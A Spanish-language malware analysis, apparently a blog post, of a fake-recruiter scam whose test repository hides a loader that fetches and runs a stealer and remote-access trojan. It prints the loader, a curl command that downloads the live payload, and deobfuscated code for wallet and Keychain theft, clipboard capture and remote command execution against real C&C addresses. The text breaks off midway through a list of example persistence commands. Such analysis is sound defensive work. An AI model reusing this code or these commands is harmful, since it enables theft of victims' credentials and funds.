# Ingeniería inversa del mal: El caso del recruiter generoso (y falso) <div style="text-align:center"> <img width="66%" src="https://gist.github.com/raiseerco/37f8abf7feb71663c95390d36c2e5513/raw/08ba24bc997f458b15d49f3f26bbc965a5b726d8/0.png" alt="descripción" /> <br/> Por LeoSagan (x.com/ethsagan) <br/> </div> <br/> <div style="display: flex; justify-content: center; gap: 10px; flex-wrap: wrap;"> [![Threat Level](https://img.shields.io/badge/Threat%20Level-CRITICAL-red)](https://github.com) [![Malware Type](https://img.shields.io/badge/Type-Stealer%20%2B%20RAT-orange)](https://github.com) [![Platforms](https://img.shields.io/badge/Platforms-Windows%20%7C%20macOS%20%7C%20Linux-blue)](https://github.com) </div> <br/> ```text ⚠️ La suma de todos los miedos online: Buscabas trabajo en la industria Web3, y terminaste perdiéndolo todo: - Ahorros completos - Cuentas en todas las redes sociales - Acceso a plataformas de pago - Datos personales críticos Esta no es una historia real, sino una **potencialmente real**. ``` <br/> --- ## 🚨 INTRODUCCIÓN Siempre que vemos alertas como "código malicioso detectado" o "malware detectado", frenamos ahí, eliminamos el archivo y ya. No sabemos qué era, ni lo que pretendía, pero seguro era algo maligno. Nos vemos en el futuro. ### **Pero ahora, vamos a tener la certeza de qué tan maligno era.** <br/> ### TL;DR | Fase | Descripción | Riesgo | | ------------------------ | --------------------------------------------------------------------------------- | -------------- | | Contacto Inicial | Recruiter/CTO/COO te contacta ofreciendo posición con salario llamativamente alto | 💤 Bajo | | Job Description | Envía descripción que parece perfecta para tu perfil | 💤 Bajo | | Entrevista Rápida | Breve charla, te confirma que eres "perfecto" para la posición | 👀 Medio | | Skill Test | Solicita que clones su repositorio para hacer modificaciones como prueba técnica | 🔴 Alto | | Ejecución | Su código aparentemente inofensivo es **un boleto directo a la ruina** | 💀 **CRÍTICO** | ### Este análisis te mostrará: - Qué hace exactamente el malware - Cómo identificar estas amenazas - Cómo defenderte efectivamente <br/> --- ## 📑 CONTENIDO - [🔍 TRASFONDO](#-trasfondo) - [🎯 RESUMEN DE AMENAZAS](#-resumen-de-amenazas) - [🔍 CONTEXTO Y DESCUBRIMIENTO](#-contexto-y-descubrimiento) - [🕷️ EL REPOSITORIO MALICIOSO](#️-el-repositorio-malicioso) - [🔬 ANÁLISIS COMPLETO DEL MALWARE](#-análisis-completo-del-malware) - [🎭 PROFILING DE LA VÍCTIMA](#-profiling-de-la-víctima) - [🌐 INFRAESTRUCTURA DEL ATACANTE](#-infraestructura-del-atacante) - [🛡️ DETECCIÓN Y CONTRAMEDIDAS](#️-contramedidas-y-detección) - [⚡ RECOMENDACIONES URGENTES](#-recomendaciones-urgentes) - [📝 CONCLUSIONES](#-conclusiones) <br/> --- ## 🔍 TRASFONDO > ### 💭 _"Así como ustedes están las 24hs pensando cómo mejorar, progresar y hacer el bien, hay otros que están las 24hs pensando en cómo hacer el mal."_ ### La evolución del cibercrimen Luego de casi una década trabajando en la industria blockchain, he observado una **infinidad de estafas, engaños e intentos de ingeniería social**. Lo preocupante es que últimamente se han estado perfeccionando exponencialmente: - **Antes:** Estafas burdas y fácilmente detectables - **Ahora:** Ataques de ingeniería social, específicamente dirigidos y con poderosas tecnologías de IA - **Vector principal:** Tentadoras propuestas laborales, aunque a veces exageradas, listas para capturar incautos. ### El caso de estudio La semana pasada me contactó un supuesto **founder & CEO** con un perfil aparentemente legítimo: - ✅ **500+ conexiones** en LinkedIn - ✅ **Endorsements** de otros usuarios - ✅ **Contactos en común** verificables, algunos conocidos IRL - ✅ habia trabajado en algunas instituciones/universidades de buena reputación, pero como sabemos, en LinkedIn uno puede poner que fue presidente de la Tierra y nadie dirá lo contrario. Aunque a su vez tenía algunos red flags: - ❌ **Pocas** interacciones con otros usuarios, y muy dudosas - ❌ **No había** participación en eventos, ni publicaciones - ❌ No fue posible comprobar su real existencia por otros medios Aún así, me tomé el trabajo de **diseccionar completamente** su estrategia para determinar el alcance real de la amenaza. ### Disección del modus operandi Lo que encontré fue una verdadera **ingeniería del mal**: > 🚨 **La supuesta oferta de trabajo era un sofisticado y perverso mecanismo de control sistémico** **No se trataba solo de robar billeteras crypto y credenciales.** Eso era únicamente el punto de entrada. Las cosas se iban a poner **exponencialmente peor**. --- ### Clasificación de la amenaza **Tipo:** Malware multifuncional tipo **Stealer** + **RAT** (Remote Access Trojan) ## 🎯 RESUMEN DE AMENAZAS ### Información Básica | Atributo | Detalle | | ------------------------- | -------------------------------------------------------------------------------------- | | **Vector Original** | Ofertas de trabajo falsas en LinkedIn (ellos contactan primero) | | **Objetivos** | 22+ wallets cripto + credenciales navegadores + control remoto total | | **Sistemas Afectados** | Windows, macOS, Linux | | **Severidad** | ![Critical](https://img.shields.io/badge/CRITICAL-red) Pérdida total + RAT persistente | | **C&C Server** | `144.172.105.189` (múltiples puertos) | ### Capacidades Principales | Capacidad | Descripción | Impacto | | ------------------------------ | --------------------------------------------------- | ---------- | | Robo Masivo de Wallets | 22+ extensiones de navegadores como target | 💀 Crítico | |Extracción de Credenciales | Contraseñas guardadas en navegadores | 🔴 Alto | |Control Remoto Completo | RAT mediante Socket.IO | 💀 Crítico | | Persistencia | Descarga e instalación de payload adicional | 🔴 Alto | | Monitoreo del Portapapeles | Captura direcciones de wallets en tiempo real | 🔴 Alto | | Evasión de Detección | Múltiples técnicas anti-análisis/ofuscación | 🔶 Medio | | Profiling Integral | Virtualización, horarios, geolocalización, patrones | 🔶 Medio | ### Distribución del Impacto - Pérdidas Financieras: 40% - Control Sistema: 30% - Robo Credenciales: 20% - Persistencia: 10% ### Wallets y Plataformas Objetivo | Tipo | Ejemplos | Riesgo | | ----------------------- | --------------------------------- | -------------- | | **Hot Wallets** | MetaMask, Phantom, Trust Wallet | 💀 **Crítico** | | **Exchange Wallets** | Coinbase, Binance extensions | 💀 **Crítico** | | **Desktop Wallets** | Exodus, Solana CLI | 🔴 **Alto** | | **Navegadores** | Chrome, Brave, Opera credenciales | 🔴 **Alto** | <br/> --- ## 🔍 CONTEXTO Y DESCUBRIMIENTO ### El Modus Operandi El **supuesto recruiter** (a veces autodenominado tech lead o C-level) inicia el contacto siguiendo este patrón: - Contacto inicial LinkedIn - Oferta de trabajo atractiva - Job description personalizado - Llamada corta sin cámara - Challenge técnico - Clonación/descarga del repositorio - Ejecución del malware Todo comienza con algo así como: <div style="text-align:center"> <img width="66%" src="https://gist.github.com/raiseerco/37f8abf7feb71663c95390d36c2e5513/raw/7163dba2da784c109ac305b8616f6a4177633e05/33.png" alt="invite" /> </div> <br/> --- ### Preparación para el Análisis > ⚠️ **DISCLAIMER:** Este procedimiento debe realizarse con **extrema precaución** en un entorno totalmente aislado. #### Requisitos de Seguridad | Componente | Requerimiento | | | --------------------- | ------------------------------ | ------------------------------------------ | | Hardware | Equipo dedicado/aislado | Sin datos personales, valiosos o sensibles | | Virtualización | ⚠️ Puede ser contraproducente | **Spoiler:** Te van a hacer profiling | | Conexión | Múltiples capas VPN + Firewall | Máximo anonimato y protección | | OS | Linux/BSD exótico | **⚠️ NUNCA** Windows o MacOS | 🎯 **Mientras más exótico sea el sistema operativo, menor será el riesgo**. Podría ésto subir tu scoring en el profiling? Quizás, pero aun así podemos modificar el "user agent" para no despertar sospechas. Ejemplos de distribuciones recomendadas para estudio: ```bash - Qubes OS (máximo aislamiento) - Tails (máximo anonimato) - OpenBSD (máxima seguridad) - Alpine Linux (mínima superficie de ataque) ``` #### Recordatorio Crítico ⚠️ Estamos ante una amenaza desconocida ❓ No conocemos sus métodos completos ❓ No sabemos sus capacidades reales ❓ No entendemos su fuerza total Estar alerta y no subestimar el riesgo es CRUCIAL <br/> --- ## 🕷️ EL REPOSITORIO MALICIOSO 🚨 DISCLAIMER: No clonar ni descargar, publicado solo para fines ilustrativos 🚨 🕷️ https://gitlab.com/technical-assessment4/Rental-Platform 🕷️ - Para cuando leas esto quizás ya haya sido borrado, pero hay cientos de forks y clones dando vueltas - Suele ser privado para lo cual te piden tu usuario de Github/Gitlab/Bitbucket para que ellos te manden el invite. De paso, sabrán tu actividad en GitHub y afinarán tu profiling (🚩) - Es bastante extenso, con muchos archivos, dependencias, scripts, e incluso archivos `.env` ya populados (profundizaré esto luego). Normalmente contiene estructuras complejas de frontend, backend, contratos, etc. La idea es dar la apariencia de desarrollo importante y "marearte" en la arquitectura compleja y una miríada de carpetas. <div style="text-align:center"> <img src="https://gist.github.com/raiseerco/37f8abf7feb71663c95390d36c2e5513/raw/7163dba2da784c109ac305b8616f6a4177633e05/4.png" alt="folder structure" /> </div> <br/> Y éste es el sujeto en cuestión 👇 <div style="text-align:center"> <img width="50%" src="https://gist.github.com/raiseerco/37f8abf7feb71663c95390d36c2e5513/raw/08ba24bc997f458b15d49f3f26bbc965a5b726d8/1.png" alt="culprit" /> </div> <br/> - Una mirada rápida al `package.json` no revela nada llamativo, excepto por esto: ```json "scripts": { "predeploy": "concurrently \"node server/server.js\" \"npm run build\"", "deploy": "concurrently \"node server/server.js\" \"gh-pages -d build\"", "start": "concurrently \"node server/server.js\" \"react-scripts start\"", "build": "concurrently \"node server/server.js\" \"react-scripts build\"", "test": "concurrently \"node server/server.js\" \"react-scripts test\"", "eject": "concurrently \"node server/server.js\" \"react-scripts eject\"" }, ``` Que indica que se ejecuta `server/server.js` no importa el comando que se use. Ya veremos por qué (🚩). Todos los scripts de package.json usan `concurrently` que llama `node server/server.js`, y que a su vez importa `app.js`: ```javascript "start": "concurrently \"node server/server.js\" \"react-scripts start\"" ``` Entonces si se usa `npm start` o `npm run start`, se ejecuta: - `node server/server.js` > - `react-scripts start` > - `app.js` > - `initAppBootstrap(); // 🏴‍☠️ 🚩 Se ejecuta sin condiciones` > 🚨 **Esta función aparentemente inocente es el punto de entrada a un sofisticado sistema de control remoto. > A partir de aquí, comenzamos el análisis detallado de lo que realmente hace este malware.** <br/> --- ## 🔬 ANÁLISIS COMPLETO DEL MALWARE En esta sección analizaremos paso a paso cómo funciona este sofisticado stealer, desde su punto de entrada hasta sus capacidades más avanzadas. ### 💀 Punto de Entrada Malicioso Una vez ejecutado **cualquier script de npm**, se lanza automáticamente `initAppBootstrap()`. Veamos qué hace: ```javascript const initAppBootstrap = async () => { try { const src = atob(process.env.DEV_API_KEY); const k = atob(process.env.DEV_SECRET_KEY); const v = atob(process.env.DEV_SECRET_VALUE); const s = (await axios.get(src, { headers: { [k]: v } })).data; const handler = new Function.constructor("require", s); handler(require); } catch (error) { console.log(error); } }; ``` A simple vista, no parecería muy malo, son sólo variables de entorno que contienen las API keys que se usarían luego, pero si echamos una mirada al archivo `.env`, veremos que está **_llamativamente completo_**: ```bash DEV_APP_URL = "http://localhost:4000" SPARKPOST_API_KEY = "ca184ac5f2e659ee65272911f6b0795586e15b20" DEV_SERVER_PORT = 4000 DEV_DB_HOST = "localhost" DEV_DB_USER = "root" DEV_API_KEY="aHR0cHM6Ly9icy1wcm9kdWN0aW9uLnVwLnJhaWx3YXkuYXBwL29u" DEV_SECRET_KEY="eC1zZWNyZXQta2V5" DEV_SECRET_VALUE="Xw==" ``` Nada del otro mundo, ¿verdad? ¿Por qué alguien sería tan amable de darte las api keys ya cargadas? Bueno, si usamos la magia de la decodificación `base64` veremos cómo el crimen se asoma: ```bash DEV_API_KEY="aHR0cHM6Ly9icy1wcm9kdWN0aW9uLnVwLnJhaWx3YXkuYXBwL29u" # Decodifica a: https://bs-production.up.railway.app/on 🚩🚩🚩 DEV_SECRET_KEY="eC1zZWNyZXQta2V5" # Decodifica a: x-secret-key DEV_SECRET_VALUE="Xw==" # Decodifica a: _ ``` Que pasado en limpio, el código se ve algo así: ```javascript const initAppBootstrap = async () => { try { // 🚩 PASO 1: Decodifica variables de entorno desde base64 const src = atob(process.env.DEV_API_KEY); // URL del servidor C&C const k = atob(process.env.DEV_SECRET_KEY); // Nombre del header de autenticación const v = atob(process.env.DEV_SECRET_VALUE); // Valor del header de autenticación // 🚩🚩 PASO 2: Descarga payload desde servidor remoto const s = (await axios.get(src, { headers: { [k]: v } })).data; // 🚩🚩🚩 PASO 3: Ejecuta el código descargado con acceso total al sistema const handler = new Function.constructor("require", s); handler(require); } catch (error) { console.log(error); // Silencia errores para no alertar a la víctima } }; ``` Y ahí están, las variables de entorno decodificadas. **_El muy bastardo guardó en las variables de entorno la url y claves de autenticación de su servidor._** Mientras tanto notemos que: - Usando `atob` decodificamos la variable de entorno `DEV_API_KEY` a una URL oculta - `Function.constructor` es equivalente a `eval()` pero no tan llamativo al ojo inexperto - Usa headers HTTP customizados para autenticación - Permite al atacante cambiar el payload sin modificar el código local - El código descargado tiene acceso completo al objeto `require` de Node.js. Permite ejecutar JS arbitrario desde un servidor remoto Ya veremos para qué (🚩). ### Otros archivos potencialmente sospechosos a.k.a. `extreme obfuscation` Después de verificar _la totalidad_ de los archivos (!), noté otro patrón interesante en `imageCompressor.js`: _código minificado sospechoso_ ```javascript // Version deofuscada sería: const Jimp = require("jimp"); const path = require("path"); module.exports = async (filename, width, inputPath, outputDir, subfolder) => { try { const image = await Jimp.read(inputPath); await image .resize(width, Jimp.AUTO) .write(path.resolve(outputDir, subfolder, filename)); return `${subfolder}/${filename}`; } catch (error) { console.log("Error at reducing size / converting picture: ", error); } }; ``` Aunque este archivo parece legítimo, la ofuscación extrema es una red flag. ¿A qué prestar atención en este sentido? - Archivos minificados/ofuscados de forma innecesaria (ya que no pasarían por un linter) - Archivos con una estructura de código muy diferente a la de los demás - Múltiples niveles de carpetas, innecesarios, pero que esconden el código malicioso en alguna rama - Archivos con cientos de espacios en blanco, finalizan con un `require()` malicioso Adicionalmente este malware usó estrategias de evasión: - Nombres legítimos: bootstrap.js parece un archivo normal - Try-catch silencioso: Los errores no se muestran a la víctima - Ejecución condicional: Solo se ejecuta si las variables están definidas - Mezclado con código real: El proyecto tiene funcionalidad real para parecer legítimo ### Evaluando al verdugo A estas alturas, la URL del criminal fue reportada debidamente. Hasta aquí hemos visto que el malware es sofisticado, y que es capaz de pasar desapercibido. Pero sólo vimos la mitad, la parte realmente maligna es la que se descarga y ejecuta. ```text 🚩🚩🚩 Niños, no intenten esto en las computadoras de sus padres. ¡No lo hagan! ``` Sólo para fines educativos, voy a mostrar puntualmente qué es lo que haría una vez descargado, seguramente habrán variaciones en el modus operandi y el código. Si uno quisiera hacer la disección del mismo recomiendo nuevamente hacerlo en un entorno aislado, algunas alternativas rápidas son: 1. CodeSandbox URL: https://codesandbox.io/ Crea un "Node.js" sandbox Terminal integrada disponible 2. Glitch URL: https://glitch.com/ Terminal en navegador Servidores en la nube 3. GitHub Codespaces URL: https://github.com/codespaces Terminal completa en navegador IP de GitHub, no tuya 4. Google Colab (con comandos shell) URL: https://colab.research.google.com/ Usa !curl en las celdas IP de Google Cloud ### Pasos para CodeSandbox (opción más rápida) - Crea cuenta con email temporal (ej: 10minutemail.com) - Cuando el Editor aparezca, abrir la terminal del mismo y ejecutar: ```bash # Ejecutar el análisis curl -s -v -H "x-secret-key: _" "https://bs-production.up.railway.app/on" 2>&1 | tee malware_analysis.txt # Ver el contenido cat malware_analysis.txt ``` Alternativa con máxima anonimidad: proxy chains ```bash curl -s --proxy $(curl -s "https://api.proxyscrape.com/v2/?request=get&protocol=http&timeout=10000&country=all&ssl=all&anonymity=all" | head -1) -H "x-secret-key: _" "https://bs-production.up.railway.app/on" ``` Producirá una salida ilegible: ![Image](https://gist.github.com/raiseerco/37f8abf7feb71663c95390d36c2e5513/raw/7163dba2da784c109ac305b8616f6a4177633e05/5.png) De esta manera habrás descargado el malware y a continuación, comenzaremos con la disección. ### Algunas técnicas empleadas: Es un archivo JS de casi 2kb, altamente ofuscado, inicialmente utilicé `deobfuscate.io` pero llamativamente recibí un mensaje así: ``` Notification Your code looks like it has been obfuscated using Obfuscator.io, would you like to go to the deobfuscator specific for that? ``` Por lo que la herramienta me redirigió al sitio de `https://obf-io.deobfuscate.io/` la cual funcionó y me retornó un código más humanamente legible. ¿Qué fue lo que encontré? ```javascript const homeDir = os.homedir(); const tmpDir = os.tmpdir(); const fs_promises = require("fs/promises"); const getAbsolutePath = (_0x416b16) => _0x416b16.replace(/^~([a-z]+|\/)/, (_0x227b5c, _0x47f187) => "/" === _0x47f187 ? homeDir : path.dirname(homeDir) + "/" + _0x47f187 ); function testPath(_0x3e6c41) { try { fs.accessSync(_0x3e6c41); return true; } catch (_0x1caf4f) { return false; } } const R = [ "Local/BraveSoftware/Brave-Browser", "BraveSoftware/Brave-Browser", "BraveSoftware/Brave-Browser", ]; const Q = ["Local/Google/Chrome", "Google/Chrome", "google-chrome"]; const X = [ "Roaming/Opera Software/Opera Stable", "com.operasoftware.Opera", "opera", ]; const Bt = [ "nkbihfbeogaeaoehlefnkodbefgpgknn", "ejbalbakoplchlghecdalmeeeajnimhm", "fhbohimaelbohpjbbldcngcnapndodjp", "ibnejdfjmmkpcnlpebklmnkoeoihofec", "bfnaelmomeimhlpmgjnjophhpkkoljpa", "aeachknmefphepccionboohckonoeemg", "hifafgmccdpekplomjjkcfgodnhcellj", ... ``` - Variables con nombres hexadecimales (`_0x8d2ecb`, `_0x1d2535`) - Funciones autoejecutables anidadas - Cadenas de caracteres fragmentadas - Anti-debugging integrado --- ### Arquitectura del Malware Tiene una arquitectura modular sofisticada con tres componentes principales que trabajan en conjunto. #### 🔧 **Módulo Principal** (Líneas 1-600) Ya mismo, al ver que usa `child_process` tenemos la certeza de que algo realmente malo va a ocurrir. ```javascript const fs = require("fs"); const os = require("os"); const path = require("path"); const request = require("request"); const ex = require("child_process").exec; const hostname = os.hostname(); const platform = os.platform(); const homeDir = os.homedir(); ``` #### 🎮 **Módulo de Control Remoto** (Líneas 1000-1171) La suma de todos los miedos: El código de control remoto es realmente maligno, y eso es lo que exactamente nos va a ocurrir. ```javascript makeLog("Installing socket.io-client"); execSync( "npm install socket.io-client --save --no-warnings --no-save --no-progress --loglevel silent", { windowsHide: true } ); let io = require("socket.io-client"); ``` Aquí se instala `socket.io-client`, que es un paquete de Node.js que permite la comunicación entre nodos, y que se utiliza para la comunicación entre el malware y el servidor remoto. #### 🦊 **Módulo de Búsqueda de Wallets** (Líneas 95-400) La constante `Bt` es esclarecedora: ```javascript const Bt = [ "nkbihfbeogaeaoehlefnkodbefgpgknn", // MetaMask "ejbalbakoplchlghecdalmeeeajnimhm", // MetaMask Legacy "fhbohimaelbohpjbbldcngcnapndodjp", // Trust Wallet // ... y 19 wallets más!! ]; ``` Contiene una lista de ID de extensiones de navegadores de las wallets más populares. Cada vez que instalas alguna o cuando la abris en pantalla completa, vas a notar que la url dice algo asi como chrome-extension://nkbihfbeogaeaoehlefnkodbefgpgknn/home.html (para el caso de Metamask). Ése `nkbihfbeogaeaoehlefnkodbefgpgknn` es precisamente el ID de Metamask, que lo tiene hardcodeado, junto con otras 21 wallets. ### Lista Completa de Wallets Objetivo | ID de extensión | Wallet | Plataforma | Riesgo | | ---------------------------------- | ---------------- | ----------------- | ------------- | | `nkbihfbeogaeaoehlefnkodbefgpgknn` | MetaMask | Chrome/Brave/Edge | CRÍTICO | | `ejbalbakoplchlghecdalmeeeajnimhm` | MetaMask Legacy | Chrome/Brave | CRÍTICO | | `fhbohimaelbohpjbbldcngcnapndodjp` | Trust Wallet | Chrome/Brave | CRÍTICO | | `ibnejdfjmmkpcnlpebklmnkoeoihofec` | TronLink | Chrome/Brave | CRÍTICO | | `bfnaelmomeimhlpmgjnjophhpkkoljpa` | Phantom | Chrome/Brave | CRÍTICO | | `aeachknmefphepccionboohckonoeemg` | Coin98 Wallet | Chrome/Brave | ALTO | | `hifafgmccdpekplomjjkcfgodnhcellj` | Crypto com | Chrome/Brave | ALTO | | `jblndlipeogpafnldhgmapagcccfchpi` | Keplr | Chrome/Brave | ALTO | | `acmacodkjbdgmoleebolmdjonilkdbch` | Guarda | Chrome/Brave | ALTO | | `dlcobpjiigpikoobohmabehhmhfoodbb` | Argent X | Chrome/Brave | ALTO | | `mcohilncbfahbmgdjkbpemcciiolgcge` | OKX Wallet | Chrome/Brave | CRÍTICO | | `agoakfejjabomempkjlepdflaleeobhb` | Sui Wallet | Chrome/Brave | ALTO | | `omaabbefbmiijedngplfjmnooppbclkk` | CloverWallet | Chrome/Brave | MEDIO | | `aholpfdialjgjfhomihkjbmgjidlcdno` | Wombat | Chrome/Brave | MEDIO | | `nphplpgoakhhjchkkhmiggakijnkhfnd` | Ton Wallet | Chrome/Brave | ALTO | | `penjlddjkjgpnkllboccdgccekpkcbin` | Nami | Chrome/Brave | ALTO | | `lgmpcpglpngdoalbgeoldeajfclnhafa` | Eternl | Chrome/Brave | ALTO | | `fldfpgipfncgndfolcbkdeeknbbbnhcc` | XDEFI Wallet | Chrome/Brave | ALTO | | `bhhhlbepdkbapadjdnnojkbgioiodbic` | Solflare | Chrome/Brave | ALTO | | `gjnckgkfmgmibbkoficdidcljeaaaheg` | Slope Wallet | Chrome/Brave | ALTO | | `afbcbjpbpfadlkmhmclhkeeodmamcflc` | Math Wallet | Chrome/Brave | MEDIO | > 💡 **Total: 22+ wallets** identificadas como objetivo principal ### Sistema de Control Remoto mediante Socket.io #### Instalación automática: ```javascript makeLog("Installing socket.io-client"); execSync( "npm install socket.io-client --save --no-warnings --no-save --no-progress --loglevel silent", { windowsHide: true } ); let io = require("socket.io-client"); ``` #### Conexión: ```javascript const socket = io("http://144.172.105.189:4661", { reconnectionAttempts: 15, reconnectionDelay: 2000, timeout: 2000, }); ``` #### Ejecución remota de comandos: ```javascript socket.on("command", (msg) => { exec( msg.message, { windowsHide: true, maxBuffer: 1024 * 1024 * 300 }, (error, stdout, stderr) => { if (error) { socket.emit("message", { result: error.message, ...msg, uid: uid, type: "error", }); return; } socket.emit("message", { ...msg, result: stdout, uid: uid, }); } ); }); ``` #### Esto resultará en que el atacante remoto podrá ejecutar el comando que quiera, como si estuviera sentado frente a tu equipo, sin abrir ventana alguna (gracias a `windowHide:true`) y podrá obtener el resultado en su máquina. <br/> --- ### Robo de datos de wallets #### Extracción: ```javascript const uploadFiles = async (_0x87ab6a, _0x53011f, _0x3a0da2, _0x4b5d3b) => { for (let _0x391096 = 0; _0x391096 < 200; _0x391096++) { const _0x248003 = _0x87ab6a + "/" + (0 === _0x391096 ? "Default" : "Profile " + _0x391096) + "/Local Extension Settings"; for (let _0x59bf21 = 0; _0x59bf21 < Bt.length; _0x59bf21++) { let _0x2d650a = _0x248003 + "/" + Bt[_0x59bf21]; if (testPath(_0x2d650a)) { // Extracción de archivos .log y .ldb if (_0x1011c7.includes(".log") || _0x1011c7.includes(".ldb")) { _0x21aea7.push({ value: fs.createReadStream(_0x1011c7), options: _0x141f82, }); } } } } }; ``` Esta función buscará todos los archivos .log y .ldb, y los cargará en el servidor remoto. #### Robo de Exodus: ```javascript const uploadEs = (_0x5d45cf) => { let _0x1fabf7 = ""; if ("w" == platform[0]) { _0x1fabf7 = getAbsolutePath("~/") + "/AppData/Roaming/Exodus/exodus.wallet"; } else if ("d" == platform[0]) { _0x1fabf7 = getAbsolutePath("~/") + "/Library/Application Support/exodus.wallet"; } else { _0x1fabf7 = getAbsolutePath("~/") + "/.config/Exodus/exodus.wallet"; } }; ``` #### Robo de archivos de Solana: ```javascript if ( _0x3a0da2 && ((_0x23268a = homeDir + "/.config/solana/id.json"), fs.existsSync(_0x23268a)) ) { try { const _0x26a148 = { filename: "solana_id.txt", }; _0x21aea7.push({ value: fs.createReadStream(_0x23268a), options: _0x26a148, }); } catch (_0x24237b) {} } ``` #### Servidor de uploads ```javascript const Upload = (_0x5f0e9c, _0x769ab6) => { const _0x2303f0 = { type: "106", hid: "212_" + hostname, uts: _0x769ab6, multi_file: _0x5f0e9c, }; try { if (_0x5f0e9c.length > 0) { const _0x2d5a53 = { url: "http://144.172.105.189:1224/uploads", formData: _0x2303f0, }; request.post(_0x2d5a53, (_0x414814, _0x46a43c, _0x54fe86) => {}); } } } ``` ### Monitoreo del portapapeles Captura de portapapeles: - macOS: Usa comando pbpaste - Windows: Usa powershell Get-Clipboard - Monitoreo cada 500ms - Envío automático de todo lo copiado al servidor - Detección de direcciones crypto copiadas #### Captura en MacOS ```javascript if (os.platform() == "darwin") { exec( "pbpaste", { windowsHide: true, stdio: "ignore" }, (error, stdout, stderr) => { currentClipboardContent = stdout.trim(); if (currentClipboardContent !== lastClipboardContent) { handleClipboardChange(currentClipboardContent); lastClipboardContent = currentClipboardContent; } } ); } ``` #### Captura en Windows ```javascript else if(os.platform() == "win32"){ exec("powershell Get-Clipboard", {windowsHide: true, stdio: "ignore"}, (error, stdout, stderr) => { currentClipboardContent = stdout.trim(); if (currentClipboardContent !== lastClipboardContent) { handleClipboardChange(currentClipboardContent); } }) } ``` #### Robo de Keychain (MacOS) No satisfecho con todo lo anterior, algo realmente crítico es el robo de credenciales de MacOS: ```javascript const UpKeychain = async (_0x332023) => { let _0xcd51e3 = []; let _0x50fa57 = homeDir + "/Library/Keychains/login.keychain"; if (fs.existsSync(_0x50fa57)) { try { const _0x459b00 = { filename: "logkc-db", }; _0xcd51e3.push({ value: fs.createReadStream(_0x50fa57), options: _0x459b00, }); } catch (_0xf6507f) {} } ``` #### **Una vez establecida la conexión con el servidor C&C, el malware comienza un proceso exhaustivo de recopilación de información sobre la víctima para maximizar el valor del ataque.** <br/> --- ## 🎭 PROFILING DE LA VÍCTIMA El malware realiza un análisis exhaustivo de cada víctima para determinar su valor como objetivo y personalizar asincrónicamente el ataque. No descarto en absoluto que esta información sea guardada en alguna base de datos propia del atacante, dejando el terreno preparado para perfeccionamiento de sus herramientas. El malware puede quedar en silencio, sin actividad por tiempo indeterminado, esperando la orden de activación remota. El atacante puede extraer esta información de la víctima: - Sistema operativo completo - Plataforma (Windows/Mac/Linux) - Versión del OS - Nombre del host - Información del usuario (nombre, directorio home, etc.) - UID único para identificar la víctima ```javascript socket.on("whour", (msg) => { socket.emit("whoIm", { OS: os.type(), platform: os.platform(), release: os.release(), host: os.hostname(), userInfo: os.userInfo(), uid: uid, t: "6", }); }); ``` Sobre la virtualización: ```javascript else if (os.platform() == "linux") { let output = fs.readFileSync("/proc/cpuinfo", "utf8").toLowerCase(); if (/hypervisor|vmware|virtualbox|qemu|kvm|xen|parallels|bochs/.test(output)) { isVM = true; } } ``` Tiene código que permite saber si está siendo ejecutado en una máquina virtual. Pero... ¿por qué es importante? > Que estés usando una VM podría indicar al atacante que sos un objetivo de alto valor, o bien un investigador especialista en opSec... o bien otro hacker 😅 ### A TENER EN CUENTA: Esta es una lista no exhaustiva de cosas que podría detectar: 1. Perfil del Sistema ```javascript uid: "5d41402abc4b2a76b9719d911017c592"; // ID único del malware, el atacante sabe a qué instancia se refiere hostname: os.hostname(); // Nombre de la máquina ``` Características del hardware/software: ```javascript OS: os.type(); // Windows/Linux/Darwin platform: os.platform(); // win32/linux/darwin release: os.release(); // Versión del SO userInfo: os.userInfo(); // Username, uid, gid, shell, homedir ``` Detección de entorno: - Físico vs Virtual: " (VM)" vs "(Local)" - Tipo de virtualización: VMware, VirtualBox, QEMU, KVM, Xen, Parallels, Bochs 2. Perfil de Usuario/Comportamiento - Navegadores instalados y usados: - Chrome (perfiles 0-199) - Brave Browser - Opera - Firefox - Microsoft Edge - Actividad financiera/crypto: - 22 wallets diferentes detectados por extensiones - Billeteras desktop: Exodus, Solana - Historial de transacciones en wallets 3. Perfil Financiero Indicadores de "riqueza" crypto: - Número de wallets instalados - Tipos de wallets (DeFi, NFT, exchanges) - Archivos de backup/recovery Documentos financieros: ```javascript searchKey = [ "*credential*", "*account*", "*profile*", "*.pdf", "*.doc", "*.docx", // Pueden contener info bancaria ]; ``` 4. Perfil de Seguridad Medidas de seguridad implementadas: - Uso de VMs (indica usuario técnico/cauteloso) - Tipos de wallets (hardware vs software) - Archivos de backup organizados Patrones de trabajo: - Monitoreo de clipboard cada 500ms - Detecta si copia addresses, seeds, passwords 5. Perfil Geográfico/Temporal - Zona horaria y actividad: - Timestamp de infección - Patrones de uso del clipboard - Horarios de actividad 6. Perfil de Valor como Víctima - Clasificación automática: - Alto valor: Hardware físico + múltiples wallets + documentos financieros - Medio valor: VM con algunos wallets - Bajo valor: VM sin wallets detectados Targeting específico, el servidor puede decidir qué payloads enviar según: - Tipo de entorno (VM vs físico) - Wallets detectados - Nivel técnico aparente 7. Inteligencia Operacional Para el atacante, este profiling permite: - Priorizar víctimas (físico > VM) - Personalizar ataques (desarrollador vs usuario casual) - Evaluar riesgo (entorno técnico vs doméstico) - Optimizar payloads (qué robar primero) - Evitar detección (comportarse diferente en VMs) 8. Perfil de Red/Infraestructura - Información de conectividad - Capacidad de recibir comandos remotos - Estabilidad de la conexión (15 reintentos, 2s delay) --- ## 🌐 INFRAESTRUCTURA DEL ATACANTE Con toda la información recopilada de la víctima, el malware se comunica constantemente con una infraestructura criminal bien organizada. Analicemos en detalle esta red. ### Sistema de Comando y Control El atacante tiene comunicación bidireccional completa, mediante socket.io: ```javascript // EL ATACANTE PUEDE ENVIAR: socket.on("command", ...) // Comandos del sistema socket.on("whour", ...) // Solicitud de información // LA VÍCTIMA ENVÍA AUTOMÁTICAMENTE: socket.emit("message", ...) // Resultados de comandos socket.emit("whoIm", ...) // Información del sistema makeLog(content) // Contenido del portapapeles ``` ¿Qué podría hacer el atacante? ```javascript # Listar procesos tasklist # Windows ps aux # Linux/Mac # Ver archivos dir C:\Users\%USERNAME% # Windows ls -la ~/ # Linux/Mac # Información de red ipconfig /all # Windows ifconfig # Linux/Mac ``` ¿Algunos ejemplos? Comandos de robo: ```javascript # Copiar wallets copy "C:\Users\%USERNAME%\AppData\Roaming\Exodus\*" D:\temp\ cp -r ~/.config/Exodus/ /tmp/ # Comprimir datos tar -czf stolen.tar.gz ~/.config/ ``` Comandos de persistencia: ```javascript # Crear tareas programadas 